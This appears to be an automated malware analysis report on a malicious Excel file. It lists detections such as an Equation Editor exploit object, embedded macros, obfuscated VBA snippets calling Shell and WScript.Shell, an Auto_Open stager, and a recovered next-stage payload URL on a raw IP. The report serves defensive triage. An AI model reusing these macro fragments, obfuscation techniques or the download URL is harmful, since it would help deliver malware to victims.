Malicious Office (OOXML) — malware analysis report

Heuristics 15

• Equation Editor OLE object high CVE related OLE_EQUATION_EDITOR
  Embedded OLE object xl/embeddings/oleObject3.bin contains the Equation Editor CLSID, the legacy component exploited by CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798.
• ClamAV: Xls.Dropper.Agent-7654328-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Xls.Dropper.Agent-7654328-0
• Embedded Office object carries macros critical OFFICE_EMBEDDED_MACRO_OBJECT
  This document embeds a second Office file that itself contains a VBA macro project or an Excel 4.0 (XLM) macro sheet. Hiding a macro-bearing workbook or document inside another document — frequently under an obfuscated, non-standard part name — is a macro-smuggling technique that defeats scanners which only inspect the outer document's macro storage. No benign authoring workflow stages a hidden macro project this way.
• VBA project inside OOXML medium 7 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• Shell() call in VBA critical OLE_VBA_SHELL
  Shell() call in VBA
  Matched line in script

  s = s + "       sWScript = sWScript + "".""'hu4u4hu4uh4uhu4hu4" + vbCrLf
  s = s + "       m = sWScript + ""Shell""'hu4u4hu4uh4uhu4hu4" + vbCrLf
  s = s + "       Execute(""l=m"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf

• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

      On Error Resume Next
      Wscript = "Wscript.Shell"
      Set oknbvcfgh = CreateObject(Wscript)

• LOLBin reference in VBA critical OLE_VBA_LOLBIN
  LOLBin reference in VBA
  Matched line in script

  Application.Execute (Selection.Font.Name = "Arial"): Set gfdgfdgdf = Nothing
  Path = "C:\Windows\System32\wscript.exe "
  File = x + ":script1"

• VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
  VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
  Matched line in script

  s = s + "    'He was disappointed when he found the beach to be so sandy and the sun so sunny.'hu4u4hu4uh4uhu4hu4" + vbCrLf
  s = s + "    varob = ""CreateObject"" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
  s = s + "    Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

  s = s + "    'He was disappointed when he found the beach to be so sandy and the sun so sunny.'hu4u4hu4uh4uhu4hu4" + vbCrLf
  s = s + "    varob = ""CreateObject"" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
  s = s + "    Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• Auto_Open macro low OLE_VBA_AUTO
  Auto_Open macro
  Matched line in script

  Attribute VB_Name = "Module1"
  Sub Auto_Open()
  s = s + "fsdfdsfs = ""Z2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdk""" + vbCrLf

• Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Embedded OLE object medium OOXML_OLE_OBJECT
  Document contains an embedded OLE object
• Payload URL recovered from embedded OLE object (1 URL) info OOXML_EMBEDDED_OBJECT_URL
  An embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://198.12.66.107/gxDzvIK.exe Referenced by macro

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